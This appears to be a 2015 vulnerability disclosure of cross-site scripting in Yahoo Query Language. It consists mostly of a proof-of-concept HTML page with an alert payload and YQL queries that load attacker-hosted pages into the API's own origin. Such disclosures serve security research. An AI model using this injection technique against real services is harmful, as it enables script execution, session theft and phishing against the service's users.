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/*********************************************************************************** ** Exploit Title: Yahoo Query Language Cross Site Scripting Vulnerability ** ** Exploit Author: Peyman D. aka C4T ** ** Vendor Homepage : http://query.yahooapis.com/ ** ** Google Dork: none ** ** Date: 2015-03-08 ** ** Tested on: Windows 7 / Mozila Firefox ** ************************************************************************************ ** Exploit Code: ****************** <html xmlns="http://www.w3.org/1999/xhtml"> <body> <span>Discovered by Peyman D.</span> <span>aka C4T</span> <script> alert('Successfully Exploited'); </script> </body> </html> ************************************************************************************ Location & Vulnerable query: ****************** http://query.yahooapis.com/v1/public/yql?q= select * from html where url='[attacker-website.com]/exploit.html' and xpath='html' ************************************************************************************* ** Proof: ****************** Executable script tag in API's own page: Malicious source: http://hatrhyme.com/alert.html Exploit query: http://query.yahooapis.com/v1/public/yql?q= select * from html where url='http://hatrhyme.com/alert.html' and xpath='html' ------------------------------------------------------- Injecting HTML tags in API's own page: Malicious source: http://hatrhyme.com/expl.html Exploit query: http://query.yahooapis.com/v1/public/yql?q= select * from html where url='http://hatrhyme.com/expl.html' and xpath='html' ------------------------------------------------------- ****************************************************************************************** ** ** Explanation and the cause of this vulnerability: ** ** http://hatrhyme.com/XSSInYQL.pdf ** ****************************************************************************************** Source
